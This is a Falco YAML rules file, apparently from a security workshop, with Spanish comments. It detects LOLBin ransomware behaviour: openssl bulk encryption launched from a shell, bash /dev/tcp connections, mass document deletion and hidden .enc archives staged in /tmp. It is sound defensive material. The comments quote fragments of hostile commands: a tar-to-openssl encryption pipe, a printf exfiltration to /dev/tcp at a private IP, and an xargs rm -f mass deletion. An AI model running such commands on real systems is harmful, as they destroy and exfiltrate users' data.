Files
workshops/QueComanTierra/detection/falco_rules.yaml
2026-05-28 18:42:50 -04:00

152 lines
5.6 KiB
YAML

# Falco rules: detección comportamental de ransomware LOLBin
# Probadas contra tarbulk.sh y xargs_ransom.sh
# MITRE ATT&CK: T1059.004 (Unix Shell), T1486 (Data Encrypted for Impact), T1048 (Exfiltration)
# ---------------------------------------------------------------------------
# Macros
# ---------------------------------------------------------------------------
- macro: shell_proc
condition: proc.name in (bash, sh, dash, ksh, zsh)
- macro: doc_extensions
condition: >
fd.name endswith ".txt" or
fd.name endswith ".pdf" or
fd.name endswith ".docx" or
fd.name endswith ".doc" or
fd.name endswith ".db" or
fd.name endswith ".sh" or
fd.name endswith ".zip"
- macro: user_dirs
condition: >
fd.directory startswith "/home" or
fd.directory startswith "/root" or
fd.directory startswith "/var/www"
# ---------------------------------------------------------------------------
# Regla 1: openssl enc invocado desde shell sin -in (leyendo de pipe)
#
# Detecta: tar ... | openssl enc ... > /tmp/.vault.enc
# También detecta la variante xargs con -pass pass:KEY
#
# Falsos positivos esperados: scripts de backup legítimos que cifren con
# openssl. Mitigar añadiendo proc.aname[2] != "cron" o whitelistando usuarios
# de backup en allowed_backup_users.
# ---------------------------------------------------------------------------
- list: allowed_backup_users
items: [backup, root]
- rule: Shell Spawning OpenSSL Bulk Encryption
desc: >
Un proceso shell invocó openssl enc con cifrado AES. Sin -in explícito
(lee de pipe) y con -pass en línea de comandos. Patrón característico
de ransomware LOLBin via tar|openssl o xargs|openssl.
condition: >
spawned_process and
shell_proc and
proc.name = "openssl" and
proc.cmdline contains "enc" and
proc.cmdline contains "aes" and
proc.cmdline contains "-pass" and
not user.name in (allowed_backup_users)
output: >
openssl enc desde shell, posible cifrado masivo
(user=%user.name uid=%user.uid
cmd=%proc.cmdline
parent=%proc.pname ppid=%proc.ppid)
priority: WARNING
tags: [lolbin, ransomware, T1486, T1059.004]
# ---------------------------------------------------------------------------
# Regla 2: bash abriendo socket TCP directamente (/dev/tcp)
#
# Detecta: printf '...' > /dev/tcp/192.168.1.5/9090
#
# bash no debería abrir conexiones TCP salientes directamente.
# Si lo hace, es exfiltración via /dev/tcp o reverse shell.
#
# Falsos positivos: scripts de healthcheck que usen /dev/tcp para probar
# conectividad. Mitigar con proc.pname != "systemd" o allowlist de puertos.
# ---------------------------------------------------------------------------
- list: allowed_tcp_dests
items: [] # añadir IPs internas si hay falsos positivos
- rule: Bash Native TCP Exfiltration
desc: >
bash abrió un socket TCP directo. Indica uso de /dev/tcp, técnica de
exfiltración que no requiere curl, wget ni ningún binario externo.
Alta fidelidad: bash no debería conectarse a la red directamente.
condition: >
evt.type = connect and
fd.typechar = "4" and
shell_proc and
not fd.rip in (allowed_tcp_dests)
output: >
bash abrió conexión TCP directa, posible /dev/tcp exfiltración
(user=%user.name uid=%user.uid
dst=%fd.rip:%fd.rport
pid=%proc.pid cmd=%proc.cmdline)
priority: CRITICAL
tags: [lolbin, exfiltration, T1048, T1059.004]
# ---------------------------------------------------------------------------
# Regla 3: eliminación masiva de documentos de usuario desde shell
#
# Detecta: printf '%s\0' "${TARGETS[@]}" | xargs -0 rm -f
# (3470 llamadas unlink en ~4 segundos)
#
# Esta regla se dispara una vez por archivo eliminado. El VOLUMEN es la
# señal: 3470 alertas en 4 segundos es inconfundible en un SIEM.
# Con Falco + Falcosidekick puedes agregar y alertar sobre el rate.
# ---------------------------------------------------------------------------
- rule: Mass Document Deletion by Shell Process
desc: >
Proceso shell eliminando archivos de documento en directorios de usuario.
Individualmente normal; a escala (cientos/segundo) es la fase de
destrucción de ransomware. Correlacionar con Regla 1 para alta confianza.
condition: >
evt.type in (unlink, unlinkat) and
proc.name in (rm, bash, sh) and
doc_extensions and
user_dirs
output: >
documento de usuario eliminado por proceso shell
(user=%user.name uid=%user.uid
file=%fd.name
proc=%proc.name cmd=%proc.cmdline)
priority: WARNING
tags: [ransomware, destruction, T1486]
# ---------------------------------------------------------------------------
# Regla 4: archivo opaco grande creado en /tmp
#
# Detecta: openssl enc ... > /tmp/.vault.enc (29 MB, nombre con punto)
#
# Un archivo con nombre oculto (punto) y extensión .enc en /tmp es
# indicador fuerte de staging de datos exfiltrados o vault cifrado.
# ---------------------------------------------------------------------------
- rule: Hidden Encrypted Archive Staged in Tmp
desc: >
Se creó un archivo oculto con extensión .enc en /tmp. Patrón de
tarbulk: el vault cifrado se escribe en /tmp antes de exfiltrarse.
Los archivos legítimos en /tmp raramente tienen nombre oculto + .enc.
condition: >
evt.type in (open, openat) and
evt.arg.flags contains O_CREAT and
fd.directory = "/tmp" and
fd.filename startswith "." and
fd.name endswith ".enc"
output: >
archivo cifrado oculto creado en /tmp, posible vault de ransomware
(user=%user.name uid=%user.uid
file=%fd.name
proc=%proc.name cmd=%proc.cmdline)
priority: CRITICAL
tags: [ransomware, staging, T1486, T1074]